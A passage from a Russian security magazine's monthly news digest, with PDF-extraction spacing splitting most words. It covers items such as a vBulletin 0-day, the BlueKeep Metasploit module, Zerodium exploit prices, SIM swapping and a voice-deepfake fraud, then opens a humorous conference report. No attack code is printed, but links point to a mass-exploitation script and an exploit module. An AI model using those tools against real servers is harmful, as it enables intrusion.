изме нения,  так  как  видели  сплош ные  пре иму щес тва  в  про исхо дящем:  уни‐ 
вер саль но работа ющие App Extensions и новый API Content Blocker, который
Apple пре под носила как спо соб изо лиро вания рас ширений и зап рета дос тупа
к информа ции бра узе ра.

Все эти изме нения уже негатив но пов лияли на мно гие бло киров щики кон‐ 
тента,  VPN,  рас ширения  для  обес печения  родитель ско го  кон тро ля  и  так
далее.  Нап ример,  бло киров щик  рек ламы  AdGuard  зак рыл  рас ширение
для Safari еще в июле прош лого года. Вско ре пос ле это го ком пания Malware‐
bytes уве доми ла о прек ращении раз работ ки сво его VPN‐рас ширения. А соз‐ 
датели AdBlock написа ли боль шой пост в бло ге, сооб щив, что их переде лан‐ 
ный бло киров щик рек ламы для Safari теперь работа ет быс трее, чем рань ше,
но так же при вели и длин ный спи сок его недос татков. Осенью 2018 года, пос‐ 
ле выпус ка iOS 12, их при меру пос ледова ли и дру гие при ложе ния.

На конец,  сов сем  недав но  была  прек ращена  раз работ ка  uBlock  Origin
для  Safari,  а  раз работ чик  рас ширения  рекомен довал  поль зовате лям  либо
перей ти на Firefox для Mac,  где бло киров щики по‐преж нему работа ют, либо
остать ся  на  более  ста рой  вер сии  Safari  (что  нель зя  наз вать  хорошим
советом). Перек лючить ся на исполь зование одно го из новых бло киров щиков
на  осно ве  Content  Blocker,  конеч но,  тоже  мож но,  но  раз работ чик  оха рак‐ 
теризо вал  новую  сис тему  как  «край не  огра ничен ную  в  фун кци ональ нос ти
бло киро вания рек ламы».

Но боль шинс тво раз работ чиков рас ширений прос то перенес ли свой  код
и не ста ли воз мущать ся, в отли чие от ситу ации с Google. Веро ятно, все дело
в том, что Apple стро го сле дит за соб людени ем пра вил в App Store, а несог‐ 
ласные раз работ чики обыч но поп росту изго няют ся.  Так,  если Chrome осно‐ 
ван на Chromium с откры тым исходным кодом, где раз работ чики име ют пра во
голоса,  то  Apple —  это  зак рытая  эко сис тема  с  жес тки ми  пра вила ми.  Так же
не сто ит забывать и о том, что поль зовате лей у Safari не так уж мно го. С долей
рын ка в 3,5% Safari не сто ит даже близ ко к Chrome, чье лидерс тво на рын ке
неос поримо и сос тавля ет 65%.

Кро ме того, ZDNet отме чает, что нель зя сбра сывать со сче тов и проб лему
общес твен ного вос при ятия. Ког да Apple запус тила новую фун кцию бло киров‐ 
ки  кон тента для  замены ста рых рас ширений и сооб щила,  что  та пред назна‐ 
чена для повыше ния кон фиден циаль нос ти (пос коль ку рас ширения не смо гут
получить дос туп к информа ции бра узе ра), все прос то повери ли в это. Тог да
как в слу чае Google рек лама — это кра еуголь ный камень для ком пании. И ког‐ 
да  Google  объ яви ла  о  намере нии  огра ничить  бло киров щики  кон тента,  все
уви дели  в  этом  стрем ление  боль шой  кор порации  сох ранить  свою  при быль,
а не меру безопас ности, как об этом говори ли инже неры Google.

Под водя итог:  теперь в Safari  нель зя  уста новить  клас сичес кий бло киров‐ 
щик рек ламы, и в будущем Apple намере вает ся уда лить или отклю чить уста‐ 
рев шие  рас ширения  в  поль зователь ских  бра узе рах.  Если  же  поль зовате ли
переш ли  на  новый  бло киров щик  рек ламы  из  App  Store,  то  нуж но  понимать,
что, ско рее все го, он не смо жет бло киро вать все объ явле ния.

Де ло в  том,  что для API Content Blocker  уста нов лен мак сималь ный лимит
в 50 тысяч пра вил для каж дого нового рас ширения‐бло киров щика. Это весь‐ 
ма скром ное чис ло, ведь, ког да Google попыта лась огра ничить мак сималь ное
количес тво  пра вил  план кой  в  30  тысяч,  раз работ чики  воз мутились,  и  даже
сме на лимита до уров ня от 90 до 120 тысяч по‐преж нему не устра ивает мно‐ 
гих. Кста ти, имен но поэто му не сто ит удив лять ся, что AdBlock для Safari стал
работать быс трее:  теперь он име ет дело с  куда мень шим количес твом пра‐ 
вил, чем рань ше.

В ито ге пока Firefox для Mac оста ется единс твен ным выходом для запус ка
пол ноцен ного бло киров щика кон тента на macOS. Тог да как в слу чае iOS воз‐ 
можнос ти исполь зовать более ста рый и надеж ный бло киров щик рек ламы нет
вов се, незави симо от бра узе ра.

СА МЫЕ АТА КУЕМЫЕ ПОР ТЫ
Спе циалис ты  Alert  Logic  про ана лизи рова ли  более  5000  атак  (совер шенных  в  течение  шес ти
месяцев, с нояб ря 2018 года по апрель 2019 года) на 4000 сво их кли ентов — ком паний малого
и сред него биз неса и перечис лили в сво ем отче те основные сла бые сто роны ком паний.

Для про веде ния атак чаще все го исполь зуют пор ты  ,   и  , которые соот ветс тву ют SSH
(Secure Shell), HTTP (Hypertext Transfer Protocol) и HTTPS (Hypertext Transfer Protocol Secure).

22 80 443

По дан ным ана лити ков,   атак были свя заны с эти ми пор тами, что впол не логич но, ведь они
дол жны быть откры ты для обще ния.

65%

На  чет вертом  мес те  находит ся  ,  отве чающий  за  уда лен ную  связь  меж ду  компь юте рами.
И серь езно му рис ку под верга ются   20 и 21.

RDP
FTP-пор ты

Так же безопас ность орга низа ций час то под рыва ют   и  ,
на долю которых при ходит ся соот ветс твен но   и   проб лем.

сла бое шиф рование ус тарев шее ПО
66% 75%

Так,  более    хос тов  работа ли  под  управле нием  ,  под дер жка  которой  будет
прек ращена в янва ре 2020 года. Хуже того,  , финаль ная вер сия которой выш ла
в далеком 2008 году, а под дер жка была прек ращена в 2014‐м, тоже исполь зует ся во мно жес‐ 
тве ком паний.

66% Windows 7
Windows XP

Хо тя  в  сетях  сво их  кли ентов  экспер ты  Alert  Logic  обна ружи ли  даже  сис темы 
(выпущен ные в 1993 году).

Windows NT

КАРТА РОССИЙСКИХ
APT
Ком пании Check Point и Intezer Labs пред ста вили резуль тат сво их сов мес тных
тру дов.  Ана лити ки  изу чили  поряд ка  2000  экзем пля ров  мал вари,  что бы  соз‐ 
дать    свя зей  меж ду  рус ско языч ными  груп пами  «пра‐ 
витель ствен ных хакеров».

ин терак тивную  кар ту

Ис сле дова тели объ ясня ют, что эко сис тема рус ско языч ных APT  (advanced
persistent threat) раз вилась в очень слож ную струк туру и сей час сов сем труд но
разоб рать ся, кто есть кто в рос сий ском кибер шпи она же.

Ис сле дова ние спе циалис тов выяви ло более 22 тысяч свя зей и 3,85 мил‐ 
лиона час тей кода, свя зыва ющие раз личные вре доно сы меж ду собой. В ито ге
спе циалис ты приш ли к выводу, что рос сий ские APT ред ко делят ся кодом друг
с дру гом. По мне нию иссле дова телей,  нечас тые слу чаи пов торно го исполь‐ 
зования кода обыч но име ют мес то в рам ках одной раз ведыва тель ной служ бы.
Из это го ана лити ки зак люча ют, что три основных рос сий ских агентства (ФСБ,
ГРУ и СВР), отве чающие за киберо пера ции за рубежом, прак тичес ки не сот‐ 
рудни чают друг с дру гом в ходе сво их кам паний.

Ав торы иссле дова ния полага ют, что пра витель ство намерен но сти мули рова‐ 
ло сопер ничес тво меж ду спец служ бами, которые работа ют незави симо друг
от  дру га  и  кон куриру ют  за  средс тва.  В  ито ге  каж дая  груп па  годами  раз‐ 
рабаты вает и накап лива ет собс твен ные инс тру мен ты и не делит ся ими с кол‐ 
легами  —  обыч ная  прак тика  для  «пра витель ствен ных  хакеров»  из  Китая
и Север ной Кореи.

«Хотя  каж дая  груп па  дей стви тель но  пов торно  исполь зует  свой  код
в  раз личных  опе раци ях  и  раз личных  семей ствах  вре донос ного  ПО,
не сущес тву ет еди ного инс тру мен та, биб лиоте ки или инфраструк туры,
которые  сов мес тно  исполь зуют ся  раз ными  груп пиров ками,  —  пишут
экспер ты. — Избе гая пов торно го исполь зования одних и  тех же инс- 
тру мен тов  раз ными  орга низа циями  про тив  широко го  спек тра  целей,
они  миними зиру ют  риск  того,  что  одна  ском про мети рован ная  опе- 
рация потянет за собой и дру гие активные кам пании».

Ана лити ки  приз нают,  что  не  изу чали  весь  код  слиш ком  скру пулез но,  так
как речь шла о тысячах образцов. Но, выделив оче вид ные клас теры вре доно‐ 
сов,  уда лось  понять,  что  некото рые  из  них  (нап ример,  ComRAT,  Agent.BTZ
и Uroburos)  пред став ляют собой эво люцию семей ства мал вари на про тяже‐ 
нии мно гих лет.

Кро ме инте рак тивной кар ты, спе циалис ты так же пред ста вили  ,
работа ющий с сиг натура ми, с помощью которо го мож но искать час то исполь‐ 
зуемые фраг менты кода за авторс твом рос сий ских хак‐групп на любом хос те
или  в  фай ле.  Этот  инс тру мент  приз ван  помочь  орга низа циям  опре делить,
зараже ны ли они вре донос ным ПО, име ющим связь с мал варью рус ско языч‐ 
ных APT.

инс тру мент

ЭКС ПЛО ИТЫ ДЛЯ ANDROID ДОРОЖЕ, ЧЕМ ДЛЯ IOS
Из вес тный бро кер уяз вимос тей — ком пания Zerodium обно вила свой прайс‐лист, и теперь экс‐ 
пло иты для Android впер вые в исто рии сто ят боль ше,  чем экс пло иты для  iOS. ИБ‐иссле дова‐ 
тели име ют воз можность зарабо тать на 0‐day‐багах для Android, экс плу ата ция которых не пот‐ 
ребу ет  вза имо дей ствия  с  поль зовате лем,  до  2,5 мил лиона  дол ларов США.  Ана логич ные  экс‐ 
пло иты для iOS сто ят 2 мил лиона дол ларов.

Та ким  обра зом,  Zerodium  под няла  воз награж дение  за  такие  экс пло иты  для  Android  поч ти
в две над цать раз по  срав нению с прош лым  годом  (тог да проб лемы в опе раци онной сис теме
Google мог ли при нес ти не более 200 тысяч дол ларов). Для уяз вимос тей мень шего калиб ра сто‐ 
имость и вов се воз росла более чем в 100 раз.

→ «В  пос ледние  нес коль ко  месяцев  мы  наб людали  уве личе ние  количес тва  экс пло итов
для iOS, в основном пред назна чен ных для Safari и  iMessage, которые соз дают ся и про дают ся
иссле дова теля ми  со  все го  мира.  Рынок  0‐day  нас толь ко  насыщен  экс пло ита ми  для  iOS,  что
недав но мы даже ста ли отка зывать ся от некото рых из них. С дру гой сто роны, бла года ря коман‐ 
дам безопас ности Google и Samsung безопас ность Android улуч шает ся с каж дым новым выпус‐ 
ком, поэто му раз работ ка пол ных цепочек экс пло итов для Android ста ла слож ной и тру доем кой
задачей,  пре вос ходящей  по  слож ности  даже  соз дание  zero‐click‐экс пло итов,  не  тре бующих
вза имо дей ствия с поль зовате лем»
— гла ва Zerodium Чауки Бек рар

0‐DAY В VBULLETIN
Не кий  ано ним ный  иссле дова тель  обна родо вал  в  откры том  дос тупе  детали
опас ной уяз вимос ти нулево го дня в форум ном движ ке vBulletin, а так же экс‐ 
пло ит  для  нее.  Баг  поз воля ет  зло умыш ленни ку  выпол нять  shell‐коман ды
на уяз вимом сер вере. При чем ата кующе му дос таточ но исполь зовать прос той
HTTP POST зап рос и не нуж но иметь учет ную запись на целевом форуме, то
есть проб лема отно сит ся к неп рият ному клас су pre‐authentication‐уяз вимос‐ 
тей.

На  GitHub  уже  опуб ликова но    проб лемы,  а  так же
в Сети  опе ратив но  появил ся    для  поис ка  уяз вимых  сер веров. Спус тя
все го день пос ле обна родо вания информа ции о баге поль зовате ли vBulletin
начали  сооб щать  об  ата ках  на  свои  форумы.  Некото рые  даже  жалова лись
на пол ное уда ление БД при помощи дан ной проб лемы.

де таль ное  опи сание
скрипт

Ин терес но,  что пос ле пуб ликации дан ных об  уяз вимос ти  гла ва  ком пании
Zerodium  Чауки  Бек рар  заявил  в  Twitter,  что  его  ком пании  и  кли ентам  было
извес тно об этой проб леме на про тяже нии трех лет, а экс пло иты для нее дав‐ 
но про дают на чер ном рын ке.

Продолжение статьи →

https://xakep.ru/2019/06/03/manifest-v3/
https://apt-ecosystem.com/russia/map/
https://apt-ecosystem.com/russia/detector/
https://gist.github.com/jamesbercegay/a8f169059c6184e76b12d98d887542b3
https://github.com/Frint0/mass-pwn-vbulletin
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Так как раз работ чики vBulletin хра нили мол чание, ИБ‐эксперт Ник Кано (Nick
Cano)  соз дал  прос тую  .  Для  ее  при мене ния  дос‐ 
таточ но  было  отре дак тировать  includes/vb5/frontend/controller/bbcode.php
соот ветс тву ющим  обра зом.  Одна ко  спус тя  нес коль ко  дней  раз работ чики
vBulletin все же прер вали свое затянув шееся мол чание и сооб щили о выходе

  для  vBulletin  вер сий  5.5.X.  Так же  выяс нилось,  что  уяз‐ 
вимос ти был прис воен иден тифика тор CVE‐2019‐16759.

не офи циаль ную «зап латку»

офи циаль ного  пат ча

 ДОЛ ЛАР ЗА   BTC1 0,1

Ис сле дова тели ком пании Armor замети ли, что похищен ные с чужих бан ков ских сче тов средс тва
про дают ся в дар кне те все го за   их реаль ной сто имос ти в BTC‐экви вален те. В такой схе‐ 
ме хакер занят лишь взло мом, а отмы вание денег уже ложит ся на самого покупа теля.

10–12%

Так,  хакеры пред лага ют переп равить име ющиеся в их рас поряже нии средс тва на бан ков ский
счет,  акка унт  PayPal  или  через  Western  Union.  В  одном  из  слу чаев  покупа тель  при обрел

 за  , говорит ся в отче те.10 000 дол ларов 800 дол ларов

Так же, сог ласно док ладу ана лити ков, на чер ном рын ке по‐преж нему активно про дают учет ные
дан ные  от  чужих  бан ков ских  сче тов  (в  том  чис ле  Wells  Fargo,  Bank  of  America,  Lloyd’s  Bank
и  пла теж ной  сис темы  PayPal),  а  Bitcoin  оста ется  наибо лее  популяр ной  крип товалю той  дар‐ 
кнет‐эко номи ки.

ВЗЛОМАН TWITTER
ГЛАВЫ TWITTER
В  кон це  августа  2019  года  Twitter‐акка унт  Дже ка  Дор си  (Jack  Dorsey),  CEO
Twitter,  .  Ском про мети ровав  учет ную  запись,  зло умыш‐ 
ленни ки при нялись пуб ликовать от лица Дор си оскорби тель ный и расист ский
кон тент и даже утвер жда ли, буд то в штаб‐квар тире ком пании заложе на бом‐ 
ба. Ответс твен ность за эту ата ку взя ла на себя хак‐груп па Chuckle Gang.

под вер гся  взло му

Сог ласно офи циаль ным дан ным, ата ка про изош ла по недос мотру мобиль‐ 
ного опе рато ра,  который допус тил  ком про мета цию и  поз волил неав торизо‐ 
ван ному лицу отправ лять SMS с телефон ного номера Дор си. Дело в том, что
до недав него  вре мени Twitter мож но было исполь зовать  пос редс твом SMS‐
сооб щений, и это было доволь но популяр но еще на заре появ ления сер виса.
Глав ное усло вие — что бы эту фун кци ональ ность под держи вал опе ратор свя‐ 
зи.  Ког да‐то  огра ниче ние  в  140  сим волов  появи лось  имен но  из‐за  это го:
из‐за мак сималь ной дли ны SMS‐сооб щений.

Об  этой  «сла бос ти»  Twitter  было  извес тно  дав но.  Так,  еще  в  кон‐ 
це 2018 года экспер ты ком пании Insinia Security   об опас ности
при мене ния SMS‐сооб щений  в  качес тве  вто рого фак тора  для  аутен тифика‐ 
ции и объ ясня ли, чем чре вато исполь зование фун кци ональ нос ти Twitter через
SMS. Хуже того, в Сети мож но най ти статьи об опас ности этой фун кци ональ‐ 
нос ти, датиро ван ные 2007 и 2009 годами.

пре дуп режда ли

Проб лема  в  том,  что  в  пос ледние  годы  зло умыш ленни ки  все  чаще  «уго‐ 
няют»  SIM‐кар ты  поль зовате лей,  реали зуя  так  называ емый  SIM  swap.  Суть
таких атак зак люча ется в  том, что прес тупник обра щает ся к пред ста вите лям
сотово го  опе рато ра  сво ей  жер твы  и  при меня ет  соци аль ную  инже нерию.
К при меру, выдавая себя за нас тояще го вла дель ца номера, зло умыш ленник
заяв ляет, что потерял или сло мал SIM‐кар ту, и добива ется перено са номера
на  новую  SIM‐кар ту.  Затем  зло умыш ленни ки  вору ют  при вязан ные  к  номеру
телефо на  учет ные  записи,  фак тичес ки  похищая  чужие  лич ности  пол ностью.
Такие  ата ки    для  кра жи  круп ных  сумм  в  крип товалю те
или ком про мета ции  .

час то  исполь зуют ся
до рогих Instagram‐акка унтов

Те перь раз работ чики Twitter сооб щили, что пос ле взло ма Дор си они при‐ 
няли  решение  отклю чить  фун кци ональ ность  отправ ки  тви тов  через  SMS‐
сооб щения.  Под черки вает ся,  что  отклю чение  носит  вре мен ный  харак тер,
одна ко  сро ки  возоб новле ния  работы  этой  фун кции  пока  не  называ ются.
Инте рес но, что при этом раз работ чики в некото рой сте пени перек ладыва ют
вину на мобиль ных опе рато ров, отме чая, что тем нуж но испра вить уяз вимос‐ 
ти на сво ей сто роне.

УГ РОЗЫ ДЛЯ MACOS
Миф  о  том,  что  угроз  для  опе раци онной  сис темы  macOS  не  сущес тву ет,  в  оче ред ной  раз
решили опро вер гнуть иссле дова тели «Лабора тории Кас пер ско го». Они отме чают, что лан дшафт
угроз для устрой ств Apple меня ется, а количес тво вре донос ного и нежела тель ного ПО уве личи‐ 
вает ся.

В пер вой полови не 2019 года было обна руже но поч ти   фишин говых атак на поль‐ 
зовате лей macOS. Из них   были нацеле ны на кор поратив ных поль зовате лей.

6 000 000
11,80%

Стра нами с наиболь шей долей ата кован ных фишера ми уни каль ных поль зовате лей macOS ста ли
Бра зилия ( ), Индия ( ) и Фран ция ( ).30,87% 22,08% 22,02%

Ко личес тво атак на поль зовате лей с прив лечени ем вре донос ных и потен циаль но нежела тель‐ 
ных прог рамм воз раста ло еже год но начиная с 2012  года и в 2018  году перешаг нуло отметку
в   атак. В пер вой полови не 2019 года чис ло атак сос тавило  .4 000 000 1 800 000

По дав ляющее  боль шинс тво  угроз  для macOS  в  2019  году  отно силось  к  катего рии  .
Сре ди  вре донос ного  прог рам мно го  обес печения  самой  популяр ной  угро зой  ста ло  семей ство

, мас киру ющееся под Adobe Flash Player или его обновле ния.

AdWare

Shlayer

Топ‐10 угроз для macOS за пер вую полови ну 2019 года

Боль ше    поль зовате лей,  стол кнув шихся  с  ата ками  вре донос ного  и  нежела тель ного  ПО,
живут в США.

25%

Ко личес тво вре донос ных и потен циаль но нежела тель ных фай лов для macOS, 2004–2019 годы

ГОЛОСОВОЙ
DEEPFAKE
The Wall Street Journal рас ска зал об инте рес ном слу чае: мошен ники исполь‐ 
зовали  голосо вой deepfake,  что бы во вре мя  телефон ного раз говора выдать
себя за руково дите ля неназ ванной немец кой фир мы. По телефо ну фик тивный
CEO, чей голос был под делан при помощи ИИ, поп росил гла ву неназ ванной
дочер ней фир мы из Бри тании сроч но перевес ти 220 тысяч евро на счет неко‐ 
его  вен гер ско го  пос тавщи ка,  хотя  на  самом  деле  этот  счет  при над лежал
прес тупни кам.

Об этом слу чае ста ло извес тно бла года ря стра ховой ком пании Euler Her‐
mes Group, которая занима лась рас сле дова нием инци ден та. По мне нию спе‐ 
циалис тов стра ховой ком пании, для соз дания под делки мошен ники вос поль‐ 
зовались  ком мерчес ким, дос тупным на рын ке ПО. Гла ва бри тан ской фир мы
заподоз рил под вох, ког да «руково дитель из Гер мании» поз вонил уже в тре тий
раз  и  поп росил о  вто ром денеж ном перево де,  но  зво нок  при  этом исхо дил
с авс трий ско го номера. К сожале нию, к это му момен ту пер вый перевод уже
был отправ лен и пос тупил на счет в Вен грии, отку да средс тва были выведе ны
в Мек сику.

Ин терес но, что это не пер вый слу чай исполь зования голосо вых deepfake
таким обра зом. В июле текуще го года BBC сооб щала, что экспер ты ком пании
Symantec  обна ружи ли  три  ана логич ных  слу чая,  ког да  ИИ‐тех нологии  при‐ 
меня лись для под делки голосов генераль ных дирек торов. Из‐за этих фей ков
неназ ванные ком пании‐жер твы потеря ли мил лионы дол ларов.

Еще тог да спе циалис ты пре дуп режда ли, что руково дите ли ком паний могут
стать  лег кой  мишенью  для  мошен ничес тва  и  соз дания  голосо вых  deepfake.
Дело в  том,  что образцы их  голосов мож но без  тру да най ти  в  выс тупле ниях
в СМИ и на кон ферен циях, видео на YouTube и так далее.

ВСЕ ГО   ПОЛЬ ЗОВАТЕ ЛЕЙ ВЫБИРА ЮТ ЛЕГАЛЬ НЫЙ
КОН ТЕНТ

9%

Сог ласно иссле дова нию,  про веден ному  ком пани ей ESET  в  сен тябре 2019  года,  боль шинс тво
поль зовате лей  пред почита ют  пират ский  кон тент  лицен зион ному.  Рес понден там  пред ложили
отве тить  на  два  воп роса,  в  которых  мож но  было  выб рать  нес коль ко  вари антов  отве та.  Так,
отве чая  на  воп рос  «Какой  кон тент  вы  „пирати те“  чаще все го?», мно гие  поль зовате ли  ука зали
более одно го вида кон тента.

  опро шен ных  ска чива ют  «взло ман ные»  игры,    смот рят  нелицен зион ные  филь мы
и сери алы,   чаще слу шают музыку с помощью нелегаль ных сер висов.
52% 43%

34%

При  этом  все го    ска чива ют  кни ги  на  «пират ских»  сай тах,  а    обыч но  уста нав лива ют
«взло ман ные» прог раммы. И все го   интернет‐поль зовате лей всег да пла тят за лицен зию.

14% 19%
9%

Вто рой  воп рос  касал ся  при чин,  которые  меша ют  людям  поль зовать ся  легаль ным  кон тентом.
Учас тни ков опро са отпу гива ет высокая цена ( ), непол ный ассорти мент легаль ных сер висов
( ) и неудоб ная сис тема опла ты ( ). Еще   интернет‐поль зовате лей отка зыва‐ 
ются пла тить за лицен зию по идей ным сооб ражени ям.

75%
34% 16% чет верть

ЭКСПЛОИТ ДЛЯ
BLUEKEEP
Раз работ чики Metasploit опуб ликова ли   для уяз вимос ти  . Он
поз воля ет добить ся выпол нения кода и прост в исполь зовании.

экс пло ит BlueKeep

Кри тичес кая  уяз вимость  CVE‐2019‐0708  (она  же  BlueKeep),  свя зан ная
с работой Remote Desktop Services  (RDS) и RDP, была исправ лена Microsoft
еще в мае текуще го года. С помощью это го бага ата кующие могут выпол нять
про изволь ный код без авто риза ции и рас простра нять свою мал варь подоб но
чер вю, как, нап ример, было с извес тны ми вре доно сами WannaCry и NotPetya.
Проб лема опас на для Windows Server 2008, Windows 7, Windows 2003 и Win‐
dows XP, для которых из‐за высокой серь езности проб лемы были выпуще ны
обновле ния безопас ности.

Эк спер ты  Microsoft  пре дуп режда ли  об  опас ности  BlueKeep  ,
а вмес те с ними на проб лему обра щали вни мание АНБ, Минис терс тво внут‐ 
ренней безопас ности США, Авс тра лий ский центр кибер безопас ности, Наци‐ 
ональ ный центр кибер безопас ности Великоб ритании и мно гие дру гие. Спе‐ 
циалис ты  сра зу  нес коль ких ИБ‐ком паний  (вклю чая  Zerodium, McAfee, Check
Point  и  «Лабора торию  Кас пер ско го»),  а  так же  незави симые  иссле дова тели
раз работа ли  собс твен ные  proof  of  concept  экс пло иты  для  уяз вимос ти.  Код
этих  экс пло итов  не  был  опуб ликован  в  откры том  дос тупе  из‐за  слиш ком
высоко го рис ка.

дваж ды

Кро ме того, для уяз вимос ти еще летом был соз дан   (тоже
не был пред став лен в откры том дос тупе по  тем же при чинам),  а  так же 

,  написан ный  ком пани ей  Immunity  Inc,  но  недос‐ 
тупный широкой пуб лике.

мо дуль Metasploit
ком‐ 

мерчес кий  RCE‐экс пло ит

Те перь спе циалис ты ком пании Rapid7, раз рабаты вающей Metasploit, опуб‐ 
ликова ли  экс пло ит  для  BlueKeep  в  фор мате  модуля  Metasploit,  дос тупно го
всем  жела ющим.  В  отли чие  от  дру гих  PoC‐экс пло итов,  дав но  выложен ных
в Сети, это решение дей стви тель но поз воля ет выпол нить про изволь ный код
и пред став ляет собой «боевой» инс тру мент.

Впро чем,  раз работ чики  все  же  оста вили  в  коде  сво еоб разный  пре дох‐ 
ранитель:  в  нас тоящее  вре мя  экс пло ит  работа ет  толь ко  в  режиме  руч ного
управле ния, то есть ему все же тре бует ся вза имо дей ствие с челове ком. Опе‐ 
рато ру Metasploit при дет ся вруч ную ука зать всю информа цию о целевой сис‐ 
теме,  и  авто мати зиро вать  ата ки  и  исполь зовать  BlueKeep  мас сово,
как саморас простра няюще гося  чер вя,  не  вый дет. Одна ко воз можнос ти  тар‐ 
гетиро ван ных  атак  это,  конеч но,  не  отме няет.  Так же  нуж но  заметить,  что
модуль BlueKeep Metasploit работа ет толь ко с 64‐раз рядны ми вер сиями Win‐
dows  7  и Windows  2008  R2,  но  бес полезен  про тив  дру гих  уяз вимых  вер сий
ОС.

Хо тя у ком паний и поль зовате лей было дос таточ но вре мени на уста нов ку
пат чей,  по  дан ным  ком пании  BinaryEdge,  в  Сети  по‐преж нему  мож но  обна‐ 
ружить око ло 700 тысяч уяз вимых перед проб лемой BlueKeep сис тем. Так что
в  ско ром  вре мени  мы  опре делен но  не  раз  услы шим  об  экс плу ата ции  уяз‐ 
вимос ти зло умыш ленни ками.

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

Сер веры Supermicro уяз вимы перед набором багов USBAnywhere и уда лен ными ата ками

В резуль тате взло ма форума XKCD пос тра дали 562 тысячи человек

Ав тор бот нета Satori приз нал себя винов ным. Ему гро зит до десяти лет тюрь мы

Бо лее 600 тысяч GPS‐тре керов исполь зуют пароли по умол чанию и дос тупны всем жела ющим

Под дер жку DNS‐over‐HTTPS в Firefox вклю чат по умол чанию для аме рикан ских поль зовате лей

Рос комнад зор про верит инс тру мен ты для бло киров ки Telegram в Тюмени

Пи рат ское  при ложе ние  CotoMovies  зак рылось  и  переда ло  дан ные  поль зовате лей  пра вооб‐ 
ладате лям

Лич ные дан ные поч ти все го населе ния Эква дора попали в откры тый дос туп

GitHub теперь может прис ваивать уяз вимос тям иден тифика торы CVE

Mac перес тали заг ружать ся из‐за обновле ния Google Chrome

https://twitter.com/notdan/status/1176760497753837569
https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4422707-vbulletin-security-patch-released-versions-5-5-2-5-5-3-and-5-5-4
https://xakep.ru/2019/09/02/dorsey-hacked/
https://xakep.ru/2018/12/29/twitter-over-sms/
https://xakep.ru/2019/02/05/joel-ortiz-sentenced/
https://www.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin
https://github.com/rapid7/metasploit-framework/pull/12283
https://xakep.ru/2019/05/23/bluekeep-exploits/
https://xakep.ru/2019/06/03/bluekeep-second-warning/
https://xakep.ru/2019/06/05/bluekeep-metasploit/
https://xakep.ru/2019/07/25/bluekeep-canvas/
https://xakep.ru/2019/09/04/usbanywhere/
https://xakep.ru/2019/09/04/xkcd-hacked/
https://xakep.ru/2019/09/05/schuchman/
https://xakep.ru/2019/09/06/gps-trackers-problems/
https://xakep.ru/2019/09/10/firefox-doh/
https://xakep.ru/2019/09/16/dpi-test/
https://xakep.ru/2019/09/16/cotomovies/
https://xakep.ru/2019/09/19/novaestrat-arrest/
https://xakep.ru/2019/09/19/github-cve-numbering-authority/
https://xakep.ru/2019/09/27/chrome-var-bug/


 И «ХАОС»БАБУШКА
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IT‐кон ферен ции  —  это  работа  или  отдых?
Есть  ли  смысл  туда  ехать?  Почему  луч ше
уви деть  все  самому,  а  не  смот реть  записи
выс тупле ний?  Моя  бабуля  даст  небаналь‐ 
ные  отве ты  на  эти  и  дру гие  небаналь ные
воп росы. Ведь она побыва ла сра зу на двух
питер ских айтиш ных фес тивалях ухо дяще го
лета — Chaos Constructions и TechTrain.

«Дорогой  мой  внук!  Пишу  тебе  из  слав ного  города‑героя
Санкт‑Петер бурга.  Доеха ла  быс тро.  Твои  гос тинцы  вир туоз но  про- 
тащи ла  мимо  кон тро ля,  они  даже  ничего  и  не  поняли  во  всех  этих
элек трон ных  штуч ках.  Как  ты  и  про сил,  схо жу  на  кон ферен цию  —
посижу  в  сто рон ке,  пос лушаю,  о  чем  люди  тол куют,  да  тебе 

 Целую, твоя бабуш ка».перескажу.

Вот такую мес сагу кинула мне бабуля в «Телег рам». Я сна чала не верил, что
меж ду сидени ем дома и вар кой бор щей она «трях нет ста риной» и отпра вит ся
в самос тоятель ное путешес твие. Ее пос ледняя поез дка закон чилась не очень
хорошо — семь лет тюрь мы в Соеди нен ных Шта тах за про мыш ленный шпи‐ 
онаж. Ох и кри чали тог да заголов ки мес тной прес сы!

«Совет ский агент про тащил через тамож ню „жучок“ на базе ЕС ЭВМ».
«В чемода не не платья и шле пан цы, а мик росхе мы и шиф ровки!»
«Зачем молодой девуш ке столь ко пер фокарт?»
«FORTRAN — любов ный роман дли ною в 7 лет».

Не  ска жу,  что  газет чики  писали  одну  толь ко  прав ду.  Но факт  оста ется фак‐ 
том — бабуля уеха ла в Питер и при сыла ет мне ежед невные отче ты. А я решил
поделить ся ими с тобой — не все ж за компь юте ром сидеть, надо и «людей
пос мотреть, себя показать».

Спон танность — глав ная осо бен ность моей бабуш ки. Как она с ходу при‐ 
села на 7 лет, лишь пересек ши оке ан, одно му Бил лу Гей тсу извес тно. А может
быть, прав ду пишут о том, что ЕС ЭВМ нем ного не вле зала в дам ский багаж.
На чем бабуля и «спа лилась». Как бы то ни было, нач ну с самого важ ного.

По ка не начались кон ферен ции, бабуля радова ла меня открыт ками
из Питера

Зна мени тые Пять углов (на фото вош ли не все)

Продолжение статьи →
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НА CHAOS CONSTRUCTIONS И TECHTRAIN

HEADER  НАЧАЛО СТАТЬИ←

МНОГО ФАНА

Ох, вну чок, ну и уста ла я сегод ня. Вкрат це рас ска жу, что было. Толь ко
собира лась  поехать  на  TechTrain,  как  встре тила  свою  одно пол чанку,
а  та  говорит  —  внуч ка  на  Chaos  Constructions  приг ласила. 

 еды там нет, при неси че‑нить вкус ного. Вот я и несу ей
пирож ков поесть да хакеров мес тных под кормить, авось что и выбол- 
тают полез ного. Ну я с ней тоже пош ла.

Докладывает:

Приш ла  на  круг лый  стол  по  Embedded.  В  наше  вре мя  что  такое
было embedded? Если ради олам па в кар ман помеща лась, зна чит, уже
embedded! А теперь все эстэ эмка ми обза велись да про чими кон трол- 
лерами и ПЛИ Сами — и чего толь ко не ваяют. Дви гате ли для мор ских
кораб лей  —  и  те  на  мик рологи ке  теперь  работа ют.  Ребята  все
молодые, стат ные, аж влю билась в одно го. Говорят кра сиво, о судь- 
бах  Рос сии,  с  болью  в  душе.  Мол,  не  очень‑то  у  нас  эта  сфе ра
хорошая, нег рамот но мно го вещей дела ют. Ну и раз говори лись, а вот
«у  них»,  где‑то  за  рубежом,  луч ше  или  хуже?  Думали‑думали,
обсужда ли‑обсужда ли — да приш ли к выводу, что вез де не очень.

И  заин тересо вало меня,  а  как же  так,  ведь мир  в  целом неп лохо
